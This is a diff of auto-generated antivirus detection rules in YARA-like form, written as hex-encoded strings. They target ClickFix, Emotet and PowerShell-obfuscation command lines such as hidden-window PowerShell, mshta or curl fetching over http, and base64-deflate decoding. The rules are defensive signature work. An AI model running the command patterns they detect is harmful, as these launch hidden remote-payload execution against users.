00 6f 00 70 00 } //100 .top + $a_00_18 = {2e 00 77 00 6f 00 72 00 6c 00 64 00 } //100 .world + $a_00_19 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 } //100 .click + $a_00_20 = {2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 } //100 .forest + $a_00_21 = {2e 00 72 00 75 00 6e 00 } //100 .run condition: - ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_00_2 & 1)*110+(#a_00_4 & 1)*109+(#a_00_5 & 1)*45+(#a_00_6 & 1)*10+(#a_6e_7 & 1)*22330+(#a_00_9 & 1)*100+(#a_00_11 & 1)*111+(#a_00_13 & 1)*100+(#a_00_14 & 1)*97+(#a_00_15 & 1)*120+(#a_00_17 & 1)*97+(#a_00_18 & 1)*109+(#a_00_20 & 1)*47+(#a_00_21 & 1)*105) >=111 + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*109+(#a_00_2 & 1)*110+(#a_00_4 & 1)*109+(#a_00_5 & 1)*45+(#a_00_6 & 1)*10+(#a_6e_7 & 1)*22330+(#a_00_9 & 1)*100+(#a_00_11 & 1)*111+(#a_00_13 & 1)*100+(#a_00_14 & 1)*117+(#a_00_15 & 1)*100+(#a_00_16 & 1)*100+(#a_00_17 & 1)*100+(#a_00_18 & 1)*100+(#a_00_19 & 1)*100+(#a_00_20 & 1)*100+(#a_00_21 & 1)*100) >=111 } -rule _InfrastructureShared_26522{ +rule _InfrastructureShared_28222{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,4c 04 4c 04 0b 00 21 " @@ -346847,13 +368924,42 @@ rule _InfrastructureShared_26522{ $a_00_2 = {64 00 64 00 65 00 20 00 64 00 1c 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 1e 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 64 00 20 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 20 00 68 00 69 00 64 00 64 } //104 $a_00_4 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 } //100 -windowsty hidde $a_00_5 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 20 00 68 00 69 00 64 00 64 00 65 00 20 00 } //100 -windowstyl hidde - $a_83_6 = {00 41 01 41 01 10 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 41 72 63 68 69 76 65 43 6f 6c 6c 65 63 74 2e 41 00 01 00 0e 00 5c 00 37 00 7a 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 37 00 7a 00 5f 00 78 00 36 00 34 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 72 00 61 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 72 00 61 00 72 00 36 00 34 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 74 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 77 00 69 00 6e 00 61 00 63 00 65 00 2e 00 65 00 78 } //0 - $a_00_9 = {6e 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 70 00 65 00 61 00 7a 00 69 00 70 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 77 00 7a 00 7a 00 69 00 70 00 2e 00 65 00 78 00 65 00 64 00 0a 00 2a 00 2e 00 70 00 64 00 66 00 64 00 0a 00 2a 00 2e 00 64 00 6f 00 63 00 64 00 0a 00 2a 00 2e 00 72 00 74 } //119 + $a_7f_6 = {00 6e 00 6e 00 17 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 43 55 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 9c ff 14 00 75 00 72 00 74 00 72 00 75 00 6e 00 2e 00 63 00 6d 00 64 00 64 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 64 00 08 00 2e 00 78 00 79 00 7a 00 64 00 08 00 2e 00 69 00 63 00 75 00 64 00 08 00 2e 00 6c 00 61 00 74 00 64 00 08 00 2e 00 66 00 75 00 6e 00 64 00 08 00 2e 00 62 00 65 00 74 00 64 00 0a 00 2e 00 6c 00 69 00 76 00 65 00 64 00 0a 00 2e 00 6c 00 69 00 66 00 65 00 64 00 0e 00 2e 00 6f } //0 + $a_00_8 = {65 00 64 00 0a 00 2e 00 62 00 6f 00 6e 00 64 00 64 00 08 00 2e 00 74 00 6f 00 70 00 64 00 0c 00 2e 00 77 00 6f 00 72 00 6c 00 64 00 64 00 0c 00 2e 00 63 00 6c 00 69 00 63 00 6b 00 64 00 0e 00 2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 64 00 08 00 2e 00 72 00 75 00 6e 00 64 00 08 00 2e 00 77 00 61 00 73 00 64 00 08 00 2e 00 69 00 } //105 + $a_00_9 = {64 00 0c 00 2e 00 74 00 6f 00 64 00 61 00 79 00 64 00 0a 00 2e 00 63 00 79 00 6f 00 75 00 64 00 0a 00 2e 00 69 00 6e 00 66 00 6f 00 00 00 d7 83 01 00 41 01 41 01 10 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 41 72 63 68 69 76 65 43 6f 6c 6c 65 63 74 2e 41 00 01 00 0e 00 5c 00 37 00 7a 00 2e 00 65 00 78 00 65 00 } //110 + $a_00_10 = {5c 00 37 00 7a 00 5f 00 78 00 36 00 34 00 2e 00 65 00 78 00 65 00 } //1 \7z_x64.exe condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_00_2 & 1)*104+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_83_6 & 1)*0+(#a_00_9 & 1)*119) >=1100 + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*100+(#a_00_2 & 1)*104+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_7f_6 & 1)*0+(#a_00_8 & 1)*105+(#a_00_9 & 1)*110+(#a_00_10 & 1)*1) >=1100 } -rule _InfrastructureShared_26523{ +rule _InfrastructureShared_28223{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,6e 00 6e 00 17 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 43 43 43 55 21 4d 54 42 00 0a 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 0a 00 6d 00 73 00 68 00 74 00 61 00 9c ff 14 00 75 00 72 } //21283 + $a_00_2 = {2e 00 63 00 6d 00 64 00 64 00 0a 00 2e 00 73 00 68 00 6f 00 70 00 64 00 08 00 2e 00 78 00 79 00 7a 00 64 00 08 00 2e 00 69 00 63 00 75 00 64 00 08 00 2e 00 6c 00 61 00 74 00 64 00 08 00 2e 00 66 00 75 00 6e 00 64 00 08 00 2e 00 62 00 65 00 74 00 64 00 0a 00 2e 00 6c 00 69 00 76 00 65 00 64 00 0a 00 2e 00 6c 00 69 00 66 00 65 00 } //117 + $a_00_3 = {2e 00 6f 00 6e 00 6c 00 69 00 6e 00 65 00 } //100 .online + $a_00_4 = {2e 00 62 00 6f 00 6e 00 64 00 } //100 .bond + $a_00_5 = {2e 00 74 00 6f 00 70 00 } //100 .top + $a_00_6 = {2e 00 77 00 6f 00 72 00 6c 00 64 00 } //100 .world + $a_00_7 = {2e 00 63 00 6c 00 69 00 63 00 6b 00 } //100 .click + $a_00_8 = {2e 00 66 00 6f 00 72 00 65 00 73 00 74 00 } //100 .forest + $a_00_9 = {2e 00 72 00 75 00 6e 00 } //100 .run + $a_00_10 = {2e 00 77 00 61 00 73 00 } //100 .was + $a_00_11 = {2e 00 69 00 6e 00 6b 00 } //100 .ink + $a_00_12 = {2e 00 74 00 6f 00 64 00 61 00 79 00 } //100 .today + $a_00_13 = {2e 00 63 00 79 00 6f 00 75 00 } //100 .cyou + $a_00_14 = {2e 00 69 00 6e 00 66 00 6f 00 } //100 .info + $a_83_15 = {00 41 01 41 01 10 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 53 75 73 70 41 72 63 68 69 76 65 43 6f 6c 6c 65 63 74 2e 41 00 01 00 0e 00 5c 00 37 00 7a 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 37 00 7a 00 5f 00 78 00 36 00 34 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 37 00 7a 00 61 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 72 00 61 00 72 00 33 00 32 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 72 00 61 00 72 00 36 00 34 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 74 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 77 00 69 00 6e 00 61 00 63 00 65 00 2e 00 65 00 78 } //0 + $a_00_18 = {6e 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 70 00 65 00 61 00 7a 00 69 00 70 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 77 00 7a 00 7a 00 69 00 70 00 2e 00 65 00 78 00 65 00 64 00 0a 00 2a 00 2e 00 70 00 64 00 66 00 64 00 0a 00 2a 00 2e 00 64 00 6f 00 63 00 64 00 0a 00 2a 00 2e 00 72 00 74 } //119 + $a_00_20 = {5c 00 24 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 2e 00 42 00 49 00 4e 00 5c 00 14 00 0c 00 25 00 74 00 65 00 6d 00 70 00 25 00 00 00 d7 88 01 00 64 00 64 00 0c 00 21 23 } //30 + $a_3a_21 = {72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 56 52 21 4d 54 42 00 64 00 0e 00 2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 64 00 18 00 2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 } //19539 + condition: + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*117+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_00_11 & 1)*100+(#a_00_12 & 1)*100+(#a_00_13 & 1)*100+(#a_00_14 & 1)*100+(#a_83_15 & 1)*0+(#a_00_18 & 1)*119+(#a_00_20 & 1)*30+(#a_3a_21 & 1)*19539) >=110 + +} +rule _InfrastructureShared_28224{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,41 01 41 01 10 00 21 " @@ -346862,19 +368968,84 @@ rule _InfrastructureShared_26523{ $a_00_2 = {65 00 78 00 65 00 01 00 10 00 5c 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 72 00 61 00 72 00 33 00 32 00 2e 00 65 00 } //97 $a_00_3 = {01 00 14 00 5c 00 72 00 61 00 72 00 36 00 34 00 2e 00 65 00 78 00 65 00 01 00 10 00 5c 00 74 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 77 00 69 00 6e 00 61 00 63 00 65 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c 00 77 00 69 00 6e 00 72 00 61 00 72 00 2e 00 65 00 78 00 65 00 01 00 16 00 5c } //120 $a_00_5 = {69 00 70 00 2e 00 65 00 78 00 65 00 01 00 14 00 5c 00 77 00 7a 00 7a 00 69 00 70 00 2e 00 65 00 78 00 65 00 64 00 0a 00 2a 00 2e 00 70 00 64 00 66 00 64 00 0a 00 2a 00 2e 00 64 00 6f 00 63 00 64 00 0a 00 2a 00 2e 00 72 00 74 00 66 00 14 00 1e 00 3a 00 5c 00 24 00 52 00 45 00 43 00 59 00 43 00 4c 00 45 00 2e 00 42 00 49 00 4e 00 5c 00 14 00 0c 00 25 00 74 00 65 00 } //97 - $a_00_6 = {25 00 00 00 d7 9f 01 00 21 00 21 00 08 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 21 52 54 00 01 00 2c 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 42 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 68 00 74 00 74 00 70 } //109 - $a_00_8 = {68 00 65 00 70 00 69 00 6c 00 61 00 74 00 65 00 73 00 73 00 74 00 75 00 64 00 69 00 6f 00 6e 00 6a 00 2e 00 63 00 6f 00 6d 00 0a 00 2a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 61 00 6c 00 66 00 61 00 6f 00 66 00 61 00 72 00 6d 00 73 00 2e 00 63 00 6f 00 6d 00 0a 00 2c 00 68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 73 00 74 00 61 00 76 00 } //47 - $a_00_9 = {6e 00 63 00 6a 00 73 00 2e 00 63 00 6f 00 6d 00 0a 00 28 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 69 00 74 00 6f 00 6d 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 69 00 6e 00 01 00 2c 00 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 57 00 65 00 62 00 52 00 65 00 71 00 75 00 65 00 73 00 74 } //105 - $a_00_11 = {69 00 01 00 3a 00 43 00 3a 00 5c 00 50 00 72 00 6f 00 67 00 72 00 61 00 6d 00 44 00 61 00 74 00 61 00 5c 00 5c 00 5c 00 22 00 2b 00 24 00 72 00 31 00 2b 00 5c 00 22 00 2e 00 64 00 6c 00 6c 00 01 00 06 00 49 00 45 00 58 00 00 00 d7 a0 01 00 01 00 01 00 12 00 21 23 43 4d 44 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 72 61 70 73 44 6f 75 62 } //85 - $a_78_12 = {65 6e 73 69 6f 6e 00 01 00 10 00 2e 00 70 00 64 00 66 00 2e 00 65 00 78 00 65 00 01 00 10 00 2e 00 64 00 6f 00 63 00 2e 00 65 00 78 00 65 00 01 00 12 00 2e 00 64 00 6f 00 63 00 78 00 2e 00 65 00 78 00 65 00 } //25964 - $a_00_13 = {2e 00 6d 00 70 00 33 00 2e 00 65 00 78 00 65 00 } //1 .mp3.exe - $a_00_14 = {2e 00 70 00 70 00 74 00 2e 00 65 00 78 00 65 00 } //1 .ppt.exe - $a_00_15 = {2e 00 70 00 70 00 74 00 78 00 2e 00 65 00 78 00 65 00 } //1 .pptx.exe + $a_00_6 = {25 00 00 00 d7 88 01 00 64 00 64 00 0c 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 56 52 21 4d 54 42 00 64 00 0e 00 2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 64 00 18 00 2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 64 00 38 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 } //109 + $a_00_7 = {74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 64 00 1e 00 2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 64 00 0e 00 2d 00 77 00 20 } //119 + $a_00_9 = {64 00 12 00 2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 64 00 22 00 2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 20 00 2d 00 63 00 64 00 14 00 2d 00 77 00 69 00 20 00 31 00 20 00 2d 00 63 00 6f 00 6d 00 64 00 1a 00 2d 00 77 00 69 00 6e 00 64 00 6f } //45 + $a_00_11 = {2d 00 63 00 6f 00 64 00 12 00 2d 00 77 00 69 00 20 00 68 00 20 00 2d 00 63 00 6f 00 64 00 1a 00 } //104 + $a_00_12 = {20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 64 00 14 00 2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 20 00 48 00 49 00 00 00 d7 8c 01 00 04 00 04 00 0d 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 41 41 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 04 00 2d } //45 + $a_00_15 = {77 00 02 00 08 00 e2 00 80 00 94 00 77 00 04 00 1f 02 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 90 02 ff 68 00 74 00 74 00 70 00 90 00 04 00 23 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 90 02 ff 68 00 74 00 74 00 70 00 90 00 04 00 1b 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 30 63 00 75 00 72 00 6c 00 90 00 04 00 29 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 } //128 condition: - ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_3 & 1)*120+(#a_00_5 & 1)*97+(#a_00_6 & 1)*109+(#a_00_8 & 1)*47+(#a_00_9 & 1)*105+(#a_00_11 & 1)*85+(#a_78_12 & 1)*25964+(#a_00_13 & 1)*1+(#a_00_14 & 1)*1+(#a_00_15 & 1)*1) >=321 + ((#a_46_0 & 1)*21283+(#a_00_2 & 1)*97+(#a_00_3 & 1)*120+(#a_00_5 & 1)*97+(#a_00_6 & 1)*109+(#a_00_7 & 1)*119+(#a_00_9 & 1)*45+(#a_00_11 & 1)*104+(#a_00_12 & 1)*45+(#a_00_15 & 1)*128) >=321 } -rule _InfrastructureShared_26524{ +rule _InfrastructureShared_28225{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,64 00 64 00 0c 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 56 52 21 4d 54 42 00 64 00 0e 00 2d 00 57 00 20 00 68 00 20 00 2d 00 43 00 64 00 18 00 2d 00 57 00 20 00 48 00 69 00 44 00 64 00 45 00 6e 00 20 00 2d 00 43 00 } //21283 + $a_00_1 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 53 00 74 00 79 00 6c 00 65 00 20 00 68 00 69 00 64 00 64 00 65 00 6e 00 20 00 2d 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //100 -WindowStyle hidden -Command + $a_00_2 = {2d 00 77 00 20 00 6d 00 69 00 6e 00 69 00 6d 00 69 00 7a 00 65 00 64 00 20 00 2d 00 63 00 } //100 -w minimized -c + $a_00_3 = {2d 00 77 00 20 00 31 00 20 00 2d 00 63 00 } //100 -w 1 -c + $a_00_4 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 } //100 -w h -com + $a_00_5 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 73 00 74 00 79 00 6c 00 65 00 20 00 68 00 20 00 2d 00 63 00 } //100 -windowstyle h -c + $a_00_6 = {2d 00 77 00 69 00 20 00 31 00 20 00 2d 00 63 00 6f 00 6d 00 } //100 -wi 1 -com + $a_00_7 = {2d 00 77 00 69 00 6e 00 64 00 6f 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //100 -window h -co + $a_00_8 = {2d 00 77 00 69 00 20 00 68 00 20 00 2d 00 63 00 6f 00 } //100 -wi h -co + $a_00_9 = {2d 00 77 00 20 00 68 00 20 00 2d 00 63 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 } //100 -w h -command + $a_00_10 = {2d 00 57 00 69 00 6e 00 64 00 6f 00 77 00 20 00 48 00 49 00 } //100 -Window HI + $a_8c_11 = {00 04 00 04 00 0d 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 41 41 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 04 00 2d 00 77 00 02 00 08 00 e2 00 80 00 95 00 77 00 02 00 08 00 e2 00 80 00 94 00 77 00 04 00 1f 02 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 90 02 ff 68 00 74 00 74 00 70 00 90 00 04 00 23 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 90 02 ff 68 00 74 00 74 00 70 00 90 00 04 00 1b 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 30 63 00 75 00 72 00 6c 00 90 00 04 00 29 02 70 00 6f 00 77 00 65 00 72 00 73 } //0 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*100+(#a_00_2 & 1)*100+(#a_00_3 & 1)*100+(#a_00_4 & 1)*100+(#a_00_5 & 1)*100+(#a_00_6 & 1)*100+(#a_00_7 & 1)*100+(#a_00_8 & 1)*100+(#a_00_9 & 1)*100+(#a_00_10 & 1)*100+(#a_8c_11 & 1)*0) >=100 + +} +rule _InfrastructureShared_28226{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,04 00 04 00 0d 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 5a 41 41 00 02 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 02 00 04 00 2d 00 77 00 02 00 08 00 e2 00 80 00 95 00 77 00 02 00 08 00 e2 00 } //21283 + $a_00_1 = {77 00 04 00 1f 02 6d 00 73 00 68 00 74 00 61 00 2e 00 65 00 78 00 65 00 90 02 ff 68 00 74 00 74 00 70 00 90 00 04 00 23 02 6d 00 73 00 69 00 65 00 78 00 65 00 63 00 2e 00 65 00 78 00 65 00 90 02 ff 68 00 74 00 74 00 70 00 90 00 04 00 1b 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 30 63 00 75 00 72 00 6c 00 90 00 04 00 29 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 90 02 30 63 00 75 00 72 00 } //128 + $a_00_2 = {04 00 29 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 90 02 30 68 00 74 00 74 00 70 00 90 00 04 00 25 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 ff 5e 00 90 02 05 5e 00 90 02 10 68 00 74 00 74 00 70 00 90 00 9c ff 08 00 2e 00 70 00 73 00 31 00 9c ff 08 00 2e 00 68 00 74 00 61 00 9c ff 24 00 6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 } //108 + $a_00_3 = {65 00 00 00 d7 91 01 00 02 00 02 00 06 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 51 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 11 02 67 00 63 00 6d 00 90 02 05 3f 00 65 00 78 00 90 00 02 00 67 02 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 90 02 ff 69 00 6e 00 76 00 6f 00 } //101 + $a_00_4 = {2d 00 77 00 6d 00 69 00 6d 00 65 00 74 00 68 00 6f 00 64 00 90 02 30 77 00 69 00 6e 00 33 00 32 00 5f 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 ff 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 90 00 02 00 75 02 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 } //107 + $a_69_6 = {6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 6d 00 69 00 6d 00 65 00 74 00 68 00 6f 00 64 00 90 02 30 77 00 69 00 6e 00 33 00 32 00 5f 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 ff 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 90 00 18 fc 24 00 6d 00 73 00 65 00 64 00 67 00 65 00 77 00 65 00 62 00 76 00 69 00 65 00 77 00 32 00 2e 00 65 00 78 00 65 00 18 fc 2c 00 69 00 66 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 3d 00 3d 00 20 00 66 00 61 00 6c 00 73 00 65 00 20 00 65 00 63 00 68 00 6f 00 00 00 d7 96 01 00 32 00 32 00 05 00 21 23 53 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 50 53 68 65 6c 6c 4f 62 66 75 73 65 2e 41 00 0a 00 58 00 5b 00 69 00 6f 00 2e 00 6d 00 65 00 6d 00 6f 00 72 00 79 00 73 00 74 00 72 00 65 00 61 00 6d 00 5d } //656 + $a_00_8 = {76 00 65 00 72 00 74 00 5d 00 3a 00 3a 00 66 00 72 00 6f 00 6d 00 62 00 61 00 73 00 65 00 36 00 34 00 73 00 74 00 72 00 69 00 6e 00 67 00 0a 00 42 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 73 00 79 00 73 00 74 00 65 00 6d 00 2e 00 69 00 6f 00 2e 00 73 00 74 00 72 00 65 00 61 00 6d 00 72 00 65 00 61 00 } //111 + $a_00_9 = {72 00 0a 00 4e 00 6e 00 65 00 77 00 2d 00 6f 00 62 00 6a 00 65 00 63 00 74 00 20 00 69 00 6f 00 2e 00 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 2e 00 64 00 65 00 66 00 6c 00 61 00 74 00 65 00 73 00 74 00 72 00 65 00 61 00 6d 00 0a 00 58 00 5b 00 69 00 6f 00 2e 00 63 00 6f 00 6d } //100 + $a_00_11 = {73 00 69 00 6f 00 6e 00 2e 00 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 6d 00 6f 00 64 00 65 00 5d 00 3a 00 3a 00 64 00 65 00 63 00 6f 00 6d 00 70 00 72 00 65 00 73 00 73 00 0a 00 18 00 2e 00 72 00 65 00 61 00 64 00 74 00 6f 00 65 00 6e 00 64 00 28 00 29 00 00 00 d7 9f 01 00 21 00 21 00 08 00 21 23 54 45 4c 3a 54 72 6f } //101 + $a_44_12 = {77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 45 6d 6f 74 65 74 21 52 54 00 01 00 2c 00 2f 00 63 00 20 00 73 00 74 00 61 00 72 00 74 00 20 00 2f 00 42 00 20 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 0a 00 3a 00 68 00 74 00 74 00 70 00 3a 00 2f 00 2f 00 74 00 68 00 65 00 70 00 69 00 6c 00 61 00 74 00 65 00 73 } //24938 + condition: + ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*128+(#a_00_2 & 1)*108+(#a_00_3 & 1)*101+(#a_00_4 & 1)*107+(#a_69_6 & 1)*656+(#a_00_8 & 1)*111+(#a_00_9 & 1)*100+(#a_00_11 & 1)*101+(#a_44_12 & 1)*24938) >=4 + +} +rule _InfrastructureShared_28227{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_CMDHSTR_EXT,02 00 02 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6c 69 63 6b 46 69 78 2e 53 51 41 00 01 00 14 00 70 00 6f 00 77 00 65 00 72 00 73 00 68 00 65 00 6c 00 6c 00 01 00 11 02 67 00 63 00 6d 00 90 02 05 3f 00 65 00 78 00 90 00 02 00 67 02 63 } //21283 + $a_00_2 = {78 00 65 00 90 02 ff 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 6d 00 69 00 6d 00 65 00 74 00 68 00 6f 00 64 00 90 02 30 77 00 69 00 6e 00 33 00 32 00 5f 00 70 00 72 00 6f 00 63 00 65 00 73 00 73 00 90 02 ff 6d 00 73 00 68 00 74 00 61 00 20 00 68 00 74 00 74 00 70 00 90 00 02 00 75 02 70 00 6f 00 } //46 + $a_00_3 = {72 00 73 00 68 00 65 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 90 02 ff 69 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 77 00 6d 00 69 00 6d 00 65 00 74 00 68 00 6f 00 64 00 90 02 30 77 00 69 00 6e 00 33 00 32 00 5f 00 70 00 72 00 6f 